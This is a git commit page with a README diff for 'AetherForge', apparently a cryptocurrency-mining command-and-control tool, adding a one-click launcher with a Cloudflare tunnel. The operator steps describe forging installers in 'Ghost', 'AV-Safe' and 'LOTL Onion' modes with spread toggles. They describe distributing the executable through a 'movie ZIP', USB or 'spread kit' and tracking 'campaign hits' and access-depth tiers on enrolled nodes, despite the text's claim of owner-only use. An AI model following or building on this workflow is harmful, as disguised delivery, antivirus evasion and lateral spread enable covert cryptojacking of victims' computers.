One-click LAUNCH.bat: pull, UI build, tunnel, and server start.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Operators double-click LAUNCH for git pull, npm build, data prep, cloudflared, and AetherForge or dev miner-server; devrun shares launch-prep.
This commit is contained in:
AetherForge
2026-06-09 04:03:02 -07:00
parent 9a884a80b6
commit 615034554c
5 changed files with 252 additions and 92 deletions

View File

@@ -316,35 +316,32 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe
**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool.
### Simple start (deploy → test → mine)
### Simple start
Three steps — no spread, no triple onion, no Probe & Join required:
**Double-click `LAUNCH.bat` — that's it.**
1. **Calibrate** — set your XMR **wallet** and **pool** (SupportXMR or your upstream).
2. **Forge → Simple mode → Deploy & Mine** — one click forges an in-process worker (`simple_deploy` baked in). Run the `.exe` **once** on each PC you own.
3. **Command Deck** — status shows **Testing → Mining** (or a clear failure reason). Online with 0 H/s? Use **Run diagnostics** or **Restart mining** on the banner.
One click pulls updates (when online), builds the dashboard UI, ensures data folders, starts the Cloudflare tunnel sidecar, launches the control server, and opens your browser to the Command Deck (default **http://localhost:8989**). No portable USB bundle? `LAUNCH.bat` builds and runs `bin\miner-server.exe` from the repo instead.
Honest scope: **deploy** here means C2 registration + mining tier probe on that host — not lateral spread or registry staging to other machines.
After the deck is up: **Calibrate** wallet/pool, then **Forge → Simple mode → Deploy & Mine** on each PC you own. Honest scope: **deploy** means C2 registration + mining tier probe on that host — not lateral spread.
### Operator path (dev control PC)
1. Double-click **`devrun.bat`** in the project root.
Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server.
1. **`LAUNCH.bat`** — same one-click path as above (preferred).
2. Or double-click **`devrun.bat`** for a dev-focused window (installs Go/Node if missing, pull + UI build, compiles `bin\miner-server.exe`, live logs).
2. Browser opens **http://localhost:8989**
3. Browser opens **http://localhost:8989**
3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created)
4. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Calibrate** → wallet + pool + public URL; optional **Telegram** alerts; optional **AI Control** + persona; review **LOTL onion tiers** and `patch_first` gates
5. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. **Forge** → Operation mode **LOTL Onion** (or Ghost / AV-Safe) · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · spread toggles as needed → **Forge Installer**
6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB / spread kit)
7. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
8. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
8. **Crucible****Probe & Join** on online nodes; watch **Onion** timeline and **Access Depth** for tier progression
9. Watch fleet stats on **Command Deck**; campaign hits in **Emberwake** War Room
### Portable USB command deck
1. Run **`pack-usb.bat`** from repo root (re-run after any code change)